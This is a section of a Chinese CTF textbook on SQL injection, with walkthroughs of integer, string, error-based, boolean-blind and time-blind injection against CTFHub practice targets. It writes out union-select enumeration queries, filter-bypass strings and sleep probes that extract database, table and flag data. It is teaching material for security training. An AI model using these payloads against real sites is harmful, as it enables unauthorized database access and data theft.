![CTF实战:技术、解题与进阶](https://wfqqreader-1252317822.image.myqcloud.com/cover/482/47755482/b_47755482.jpg)
1.1.1 SQL注入基础
1.整数型注入
整数型注入即参数为整数型,参数两侧无引号或者其他符号。SQL语句类似于select*from news where id=参数,靶场环境为CTFHub技能树-WEB-SQL注入-整数型注入。
首先判断是否存在整数型注入。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/16_01.jpg?sign=1739501582-ER0kRDhhpndwTSRSyCFNf0gbGo6ciRpi-0-607f4dc1a99fa56f428d63539b9aa9d4)
SQL语句:select*from news where id=1 and 1=1。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/16_02.jpg?sign=1739501582-PPL0zUGWA6WZ7Nnjakfej9fvr4QPAN1o-0-b21ba61a6721438e5c9e807ec09f03f2)
SQL语句:select*from news where id=1 and 1=2。
然后,根据回显的不同,我们可以判断插入的语句是否被解析为SQL语法,进而判断是否存在整数型注入。
接着我们可以利用union联合查询语法注出数据。
SQL语法中的union联合查询用于合并两个或多个select语句的结果集,union内部的每个select语句必须拥有相同数量的列。在某些数据库,如Oracle数据库中,每个select语句中列的数据类型也必须一致。union注入的步骤如下。
首先确认查询的列数,一般有两种方法。
第一种是利用order by语句进行查询,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_01.jpg?sign=1739501582-kv0bcsjTXjjAUqtxWknOWCuzyU6QkAJ8-0-7eb5ee0890daac0ef04a2c34356625ce)
SQL语句:select*from news where id=1 order by 1。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_02.jpg?sign=1739501582-kbONzaKtuat4z3NPKYJcI9VCaGg6Vo4R-0-a1582c874b16a6d909e45461b8be929b)
SQL语句:select*from news where id=1 order by 2。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_03.jpg?sign=1739501582-aFj0l0fOZuRVtt8oMJDOp5feUY6rpnX3-0-7b7223c20fe5b4aad55813027da08aed)
SQL语句:select*from news where id=1 order by 3。
因为输入1 order by 3时返回错误,所以列数为2。
第二种是利用union语句进行查询,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_04.jpg?sign=1739501582-qwVEK2lP5WBJ4W2uVyliyoNjFOWr2Sbb-0-031e99e46fc471bdf2d4add437708c07)
SQL语句:select*from news where id=1 union select 1。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_05.jpg?sign=1739501582-l58zdzKNdCz0GqsajZ0pd1AxQ1W2xFra-0-7b809e7220a8f7a83f80312898a33436)
SQL语句:select*from news where id=1 union select 1,2。
因为输入1 union select 1,2时返回正常,所以列数为2。
判断出列数后,可以直接使用union语句查询数据库名,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_06.jpg?sign=1739501582-lsgIB0sfs1IJ2igShQ6xZ61OiDNnssJf-0-6ee68c4c2c5c00de824e977b06b83ffb)
SQL语句:select*from news where id=-1 union select 1,database()。
这里id=-1的原因是回显数据的时候只会显示一条数据,需要让第一个select语句查询返回空。结果如图1-1所示,数据库名为sqli。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/17_07.jpg?sign=1739501582-knBkKWgdOsc8JON8IdDM5zZnPsXysYyv-0-802079929c13c3f5d2d61bfbe0174db0)
图1-1 SQL注入查询出数据库名
MySQL5.0以上的版本中,有一个名为information_schema的默认数据库,里面存放着所有数据库的信息,比如表名、列名、对应权限等,我们可以通过它查询数据库表名,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/18_01.jpg?sign=1739501582-zkdfRDwIs2Q7CCfAUVOSStsk3o4f0RLx-0-e817405924f4616e6ab2fcd3c7083bcd)
SQL语句:select*from news where id=-1 union select 1,table_name from information_schema.tables where table_schema='sqli'。
执行结果如图1-2所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/18_02.jpg?sign=1739501582-t1ryw9AuRqcNJJfPKlQXPG78HHRam3A1-0-7917cdaa6ca947f65cf69071f7914144)
图1-2 SQL注入查询出表名
虽然得到了数据库sqli中的一个表名为news,但是数据库中一般会有多个表,当出现需要查询的数据不只一条,而回显只能显示一条数据的情况时,可以通过group_concat()函数将多条数据组合成字符串并输出,或者通过limit函数选择输出第几条数据。
这里我们使用group_concat()函数一次查询出所有表名,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/18_03.jpg?sign=1739501582-gVieczcYrkgoYniMHKgEaWk90PafhZFm-0-b6a624a183e3706acabfe2f23824f72d)
SQL语句:select*from news where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'。
执行结果如图1-3所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/18_04.jpg?sign=1739501582-P97tJpmBZ7C4lFoGjc95fdFfHzA6Tuxy-0-3e903365fb831b9b7234d4a3b124dd4a)
图1-3 使用函数查询出多个表名
得到news表与flag表,我们需要的数据就在flag表中。
查询表中的列名同样是通过information_schema数据库进行查询,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/19_01.jpg?sign=1739501582-gZ9tJyo5Ay85P493ILeKOSbylLiVc3fc-0-491f4d1984e90b4f7137a762a79fd041)
SQL语句:select * from news where id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'。
执行结果如图1-4所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/19_02.jpg?sign=1739501582-FbqCVNYrLRKxtuZ2nI8i1QGaLOUKxco6-0-41b90644d6fb4775f0ec0c3011109134)
图1-4 查询列名
查询到flag表中只有一个列flag。
数据库名、表名、列名已经被我们通过注入查询出来了,下面直接查询列中的数据即可,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/19_03.jpg?sign=1739501582-uYaSxE58X7J1pYklFkBGZ0IOnqsGXo6q-0-85589848c6595a6b575a93610235ff99)
SQL语句:select*from news where id=-1 union select 1,group_concat(flag) from sqli.flag。
注入结果如图1-5所示,成功通过SQL注入获取flag。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/19_04.jpg?sign=1739501582-oscrSqdNNeH0yZA3FyWsoCtV6Yfh6wrj-0-fc53d971ac4e11c09cb7c80a63e4fe20)
图1-5 查询列中的数据
2.字符型注入
字符型注入即参数为字符型,参数两侧受引号或者其他符号影响。与整数型注入相比,字符型注入多了一个引号闭合的步骤。
SQL语句:select*from news where id='参数'。
靶场环境:CTFHub技能树-WEB-SQL注入-字符型注入。
判断参数两边的符号,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/20_01.jpg?sign=1739501582-TBgquttPOaTsoadDHW1YsTCrRnIveiaG-0-d82b5452a4a08c09cb425e25a8e41215)
SQL语句:select*from news where id='1' and '1'='1'。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/20_02.jpg?sign=1739501582-iHQwLXyNPsxcADniPT0WHMHAyCGBDN8E-0-c3387297473083fabd8b20f61181be53)
SQL语句:select*from news where id='1' and '1'='2'。
由此可以判断存在SQL注入,并且为字符型注入,利用union注入获取数据即可。
3.报错注入
报错注入是利用数据库的某些机制,人为制造错误条件,在报错信息中返回完整的查询结果。在无法进行union注入并且回显报错信息时,报错注入是不二之选。
下面介绍利用floor()函数报错注入的方法。
首先利用floor(rand(0)*)产生预知的数字序列01101,然后利用rand()函数的特殊性和group by语法中的虚拟表,引起报错。MySQL版本号需要大于或等于4.1,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/20_03.jpg?sign=1739501582-HMjqijlhPsGADzcToUvYDWI1jD6ZEb05-0-98d94914e1d3b175302f062bac627574)
执行结果如图1-6所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/20_04.jpg?sign=1739501582-5QRhItOhQQf8fYOefaLrJTNnohu06Vra-0-f4f6065d6b5de627b136911f594e4f01)
图1-6 利用floor()函数报错注入
下面介绍利用extractvalue()函数报错注入的方法。
extractvalue()函数语法如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/20_05.jpg?sign=1739501582-NWnh1jMxMPOy6YfrZbMCM5CXYE709CHi-0-ab8ebffc6f562de8f7a0399f336e3d2b)
第一个参数XML_document是String格式,表示XML文档对象的名称。第二个参数XPath_string表示Xpath格式的字符串。
extractvalue()函数的作用是从目标XML中返回包含所查询值的字符串。当第二个参数不符合XPath语法时,会产生报错信息,并且将查询结果放在报错信息中。由于extractvalue()函数是MySQL 5.1.5版本添加的,因此使用它进行报错注入时需要满足MySQL版本号大于或等于5.1.5。
执行结果如图1-7所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/21_01.jpg?sign=1739501582-rcuMGUGPNSFvWZ7kNSm2oSme5c5mRBBL-0-b1e5de01b6269e006c8ac5837efa234b)
图1-7 利用extractvalue()函数报错注入
extractvalue()函数最长报错32位,在注入时经常需要利用切片函数,如substr()函数获取完整数据。
下面介绍利用updatexml()函数报错注入的方法。
updatexml()函数使用不同的XML标记匹配和替换XML块,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/21_02.jpg?sign=1739501582-qhioxwBVzftlKY1xyA9bIvDmh9yZdzzV-0-131b6cce18bb90b7348ade08eae62db2)
第一个参数XML_document是string格式,表示XML文档对象的名称。第二个参数XPath_string代表路径,是XPath格式的字符串。第三个参数new_value是string格式,替换查找到的符合条件的数据。
使用updatexml()函数时,如果XPath_string格式出现错误,MySQL会爆出语法错误(XPath syntax)。与extractvalue()函数相同,updatexml()函数在MySQL 5.1.5版本添加,使用它进行报错注入时,需要满足MySQL版本号大于或等于5.1.5。
在MySQL中,exp()函数的作用是返回e的幂次方。当传入的参数大于或等于710时会报错,并且会返回报错信息。利用这种构造报错可以回显信息,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/21_03.jpg?sign=1739501582-iHakDzBoB7MuZp5Iq5qz6NcjjuhO9Ib1-0-f8a9fdb48f117f896369a400617a7f6a)
~表示按位取反操作,可以达到溢出的效果。
整型溢出是利用子查询引起BITINT溢出,从而设法提取数据。我们知道,如果一个查询任务成功返回,其返回值为0,那么对其进行逻辑非运算的结果就会变成1,例如对(select * from(select user())x)进行逻辑非运算,返回值就是1。我们通过组合取反运算和逻辑非运算可以构造报错并回显信息,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/21_04.jpg?sign=1739501582-zf288BjzFnW8V00EbmGda7zQyqMBd0Mv-0-c5fd17628db0d6d5afa3ef48d08bb02e)
下面介绍一种在Oracle 8g、9g、10g版本中不需要任何权限就能构造报错的方法。需要注意的是,在Oracle 11g及之后的版本中,官方加强了访问控制权限,必须有网络访问权限,才能使用此方法,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_01.jpg?sign=1739501582-SGVUFug9RsFnBSjsKJonqBnnFKuDg34Y-0-e2bb149d072d570a9d94a2cfb924c985)
ctxsys.drithsx.sn()函数在Oracle中用于处理文本,当传入参数类型错误时,会返回异常,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_02.jpg?sign=1739501582-qBdcn6DZPhgxb96UnvnzUuOW2lyNSuZe-0-71cb4cf72ac22cc1901b2fa53d4385f0)
CTXSYS.CTX_REPORT.TOKEN_TYPE()函数的作用与ctxsys.drithsx.sn()函数类似,用于处理文本。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_03.jpg?sign=1739501582-Sw33uTcb1NjRudlL449OozLRoqbF3NTv-0-cf228d7df5881dbfd5646f5c7bf70d32)
XMLType在调用的时候必须以<:开头,以>结尾。需要注意的是,如果返回的数据中有空格,返回结果会被截断,导致数据不完整。这种情况下应先转为十六进制编码,再导出。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_04.jpg?sign=1739501582-2rzKIll62SSuBRanAub0Dj3VYy4UNRaL-0-8d9352ff44f1223ef3cb4014d8b30b1d)
SQL Server的报错注入主要利用的是在类型转化错误时,显示类型转换失败的值,类型转换函数如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_05.jpg?sign=1739501582-rRUlElwF3muTHbeJRxBA3u1jPiwB0iZV-0-918aac51428ba9fdb050882b734df2bf)
下面以CTFHub技能树中的报错注入靶场为例进行介绍。打开靶场输入参数1',结果如图1-8所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_06.jpg?sign=1739501582-3xPDIGKG01hUUqg2RoP72YsxfSN8mkLv-0-c4ccb0e54511cf801c18d2fee778e567)
图1-8 探测报错注入
可以看到回显了报错信息,我们尝试报错注入。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/22_07.jpg?sign=1739501582-HqaMyEcZewuh5ly6oNDoGvwrqg68DvB7-0-e2ef52f9101460edea79b1c2d89d49d2)
结果如图1-9所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/23_01.jpg?sign=1739501582-PfSeCdo1MTSJ1bTsyjLRxBd3piXa6hip-0-1974f03bc9fe35c56de2c43fccacc0cd)
图1-9 报错注入得到数据库名
运行结果表明,成功在报错信息中报出数据库名为sqli。
接着爆破出sqli库下的表,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/23_02.jpg?sign=1739501582-E5TcdayuGKsppnNJz00XzEuM8NOdnqxs-0-907a87ec6d0338dc59120865ab6422fa)
执行结果如图1-10所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/23_03.jpg?sign=1739501582-gCpbl2TfQ2UjaQGRrjyfllvZb5K4O2uo-0-cecb6d03905904114d6dd98d66c76bf1)
图1-10 报错注入得到表名
得到news表和flag表之后可以发现,我们要找的数据在flag表中。继续爆破出flag表下的列,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/23_04.jpg?sign=1739501582-2BL2LQhtrR7QQj2PMnIvkGaWjS7Jnpqq-0-66946ca48db978de914263d43e358d18)
执行结果如图1-11所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/23_05.jpg?sign=1739501582-Nf3W1lt2EGEY9UqniWu5rUUowUFxsn8L-0-4ab70edb781e5ede2f02b18c019c36dc)
图1-11 报错注入得到列名
flag表下只有一个flag列,直接读出数据,查询flag表下的flag列,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/24_01.jpg?sign=1739501582-JRrDlVKAuAqI79udL6fixuYh0fuWfEww-0-e2cc9e637627506a8f01301bc8590549)
执行结果如图1-12所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/24_02.jpg?sign=1739501582-enmPw0cs3ZtdcOZGxtvu7RyEPwZv0ujJ-0-23d32ab1d71f3e5fc9749334c4053125)
图1-12 报错注入得到部分flag
成功得到flag,注意观察回显的数据不是完整的,这是因为extractvalue()函数和updatexml()函数一次最多只能爆出32位字符,所以需要通过字符串截取函数获取剩余的字符。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/24_03.jpg?sign=1739501582-X515Prh80k7y8CtGy3v33SgFhGqpxJSz-0-61190a27b36e7195a15e3a67da5544cf)
执行结果如图1-13所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/24_04.jpg?sign=1739501582-ZqiqD3AQ9qX8EitOSESXrRXQTgm9r7Ba-0-62a72e2e74e2972109c658e26705b887)
图1-13 截取后的结果
4.布尔盲注
当注入点没有直接的回显,只有True(真)和False(假)两种回显时,我们可以通过回显的结果,推断注入的语句执行结果是True还是False。即使没有直接回显数据,我们也能通过不断调整判断条件中的数值,逐个字符地枚举数据库,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/24_05.jpg?sign=1739501582-mXFk2n36uCwmUtsYQIDUTMhV7nrctMnd-0-6342d1b5baa7c47bf33aa873eccbcdd3)
布尔盲注最重要的步骤是构造布尔条件,下面列出一些常见的绕过方法。
● 正常情况:'or bool#、true'and bool#。
● 不使用空格、注释:'or(bool)='1、true'and(bool)='1。
● 不使用or、and、注释:'^!(bool)='1、'=(bool)='、'||(bool)='1、true'%26%26(bool)='1、'=if((bool),1,0)='0。
● 不使用等号、空格、注释:'or(bool)<>'0、'or((bool)in(1))or'0。
● 其他:or(case when(bool)then 1 else 0 end)。
布尔盲注常用函数如表1-1所示。
表1-1 布尔盲注常用函数
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/25_01.jpg?sign=1739501582-KmcXKF25QVSdG9CU521df1qnS6DIl4LZ-0-9eae72982964c5b1dce80e33175b7994)
下面以CTFHub技能树中的布尔注入靶场为例进行介绍。
输入一些测试数据,发现只有两种回显,query_success、query_error,并不会回显具体的数据,数据结果如图1-14、图1-15所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/25_02.jpg?sign=1739501582-iWOaCVBcGx3cik3Co5SC9eWtD9SOS4P3-0-1c8f24a2fb7524f3c9d880920bd08d91)
图1-14 正常查询
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/25_03.jpg?sign=1739501582-l5lXGbSfGhasbBKTnnkTlUIKrc3HOLNg-0-bd709659e7034f35087675d79d08f435)
图1-15 错误查询
我们构造一个布尔条件来判断注入语句的执行结果。输入1 and(1=1),执行结果如图1-16所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/26_01.jpg?sign=1739501582-jgUtSK7PZ2hGu47hNTRnbfvsgVB0SaKR-0-ad95529ddb523d9d2a592bb470ae369d)
图1-16 布尔条件为真
输入1 and(1=2),执行结果如图1-17所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/26_02.jpg?sign=1739501582-mWu2sd0wN3KACBd3ZCTnFHR9KaQpXixw-0-7f48d69ab3518f9de8d5b375e042bf32)
图1-17 布尔条件为假
可以看到,当拼接后的语句正确时,回显结果为query_success,否则回显结果为query_error。我们通过不同的回显结果,逐个字符地枚举数据,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/26_03.jpg?sign=1739501582-wREN5ZgUIg0jyh8j3lGurvBuSudUrtCI-0-f7b129f155275f427c9822707244f204)
代码中substr((select database()), 1, 1)='a'的意思是判断select database()语句查询结果的第一个字符是否为a。这样我们只需要遍历字符就能判断出数据库名的第一位字符。执行结果如图1-18所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/26_04.jpg?sign=1739501582-WVjSh3yMCwBv35yVbx3nh2SlTsjEBxFo-0-512eb7ea7f66245f0d0c777dea3351af)
图1-18 判断第一个字符
可以看到,输入1 and(substr((select database()),1,1)='s')的回显结果为query_success,说明数据库名的第一个字符为s。执行结果如图1-19所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/27_01.jpg?sign=1739501582-c519NfqQmm4G9CFRauXoQd1yh1KuFSw2-0-1b4f8f9cd1fc5d6364c0d1d44d1fc431)
图1-19 判断出数据库第一个字符
接着继续枚举第二个字符,直到枚举出所有数据,这个过程可以通过脚本实现。
5.时间盲注
时间盲注与布尔盲注类似,区别在于时间盲注是通过页面的响应时间判断语句的真假,一般格式如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/27_02.jpg?sign=1739501582-c4NiGjKv5FmVGWiwSIqnUp3yxfmvLFAt-0-158c1ca7c08bf8ff82ead4efef6ca148)
两个常用的延时函数如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/27_03.jpg?sign=1739501582-YhF56xWzbTl38nVHmeaY0LhwLdC2FcFX-0-b30d077d67cec598fae86080c432fcc6)
其他导致延时效果的方法如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/27_04.jpg?sign=1739501582-cC5tL0NWDoHWmSwIOSORjNwNHbwJmo65-0-719a3d83fac20a2f946a00e9dd7360d2)
利用笛卡儿积延时注入的代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/27_05.jpg?sign=1739501582-QkTlQEwsw9uaVzi979lpA5kt0qAoRsqI-0-b58b6ece535bd7f7753ea0fb025268da)
下面以CTFHub技能树时间盲注靶场为例进行介绍。
无论输入什么,回显结果都是空的,我们无法通过回显结果来判断SQL语句是否执行成功。正常数据回显如图1-20所示。
这时候可以利用时间盲注来注出数据。输入1 and sleep(0),执行结果如图1-21所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/28_01.jpg?sign=1739501582-HVdoiWnfLc0KTJcg3cSvSVYwH4grtWee-0-cc34f55722a0eabc94ab174f21ec38b5)
图1-20 正常数据回显
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/28_02.jpg?sign=1739501582-4CsZVKWOtFkaxd3Ai3dvRMEIhpahB1mB-0-246a0ec51faa41217a010f09350b93f8)
图1-21 睡眠0秒响应时间
输入1 or sleep(5),执行结果如图1-22所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/28_03.jpg?sign=1739501582-Faf6WEcgFfBMnUPzEXMN8cmQ6nbvSh5y-0-f16f19196a63f3cc8e51ab06bd4b7553)
图1-22 睡眠5秒响应时间
根据响应包的时间可知,输入的延时语句确实被执行了。输入我们构造好的语句,当语句执行结果正确时执行延时函数,错误时不执行延时函数,这样就可以通过响应包的时间逐个字符枚举出数据。
例如,构造一个SQL语句,当if语句中的判断结果正确时延时3秒,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/29_01.jpg?sign=1739501582-mX4DjggFt4QrzAfVih5TRdnrnbSPfyQ6-0-3aa6fb25884a7dedd8fcf9502cc8026e)
执行结果如图1-23所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/29_02.jpg?sign=1739501582-VImiPnIns7pF5bz9RreWMMdVOIbEZVfK-0-34f24a18083c28dac434513275471780)
图1-23 语句正确时延时3秒
if语句中的判断结果错误时无延时,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/29_03.jpg?sign=1739501582-dMtTjOgLwzkjp1R0NUorZBOEt5P4rQgn-0-797c42e78a3d2092a9a3a00ca065b364)
执行结果如图1-24所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/29_04.jpg?sign=1739501582-k6nMLi0l36tR1TYxFXziGhahxpGZYpQv-0-a64ba2cfc444c62c4ba3ac721669cf76)
图1-24 语句错误时无延时
利用延时来判断结果,我们通过此方法枚举数据库名的第一个字符,代码如下。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/30_01.jpg?sign=1739501582-uMTj1bQwwGMCtJKiqvgf8o6zYJCLyfPV-0-e96cd2b44097ea07da9f2ad2467ddef9)
执行结果如图1-25所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/30_02.jpg?sign=1739501582-dvOgOtXFdOlO2bSHOenJD0fV6s1JO1jN-0-162cfe7f753ad724db797120f25a492c)
图1-25 语句错误时无延时
当枚举到s字符时延时了3秒,说明数据库名的第一个字符为s,如图1-26所示。
![](https://epubservercos.yuewen.com/2B7BD9/27167019607668606/epubprivate/OEBPS/Images/30_03.jpg?sign=1739501582-QJsBUJzWC0cdvcvnHXpC9OGQFm5GZvih-0-d230e024c505f95877c3a3053e3fa34f)
图1-26 判断出数据库名的第一个字符
接着继续枚举第二个字符,直到枚举出所有数据,这个过程可以通过脚本实现。
值得一提的是,因为延时的原因,时间盲注的枚举速度慢,在有其他方法能够注出数据时一般不建议使用时间盲注。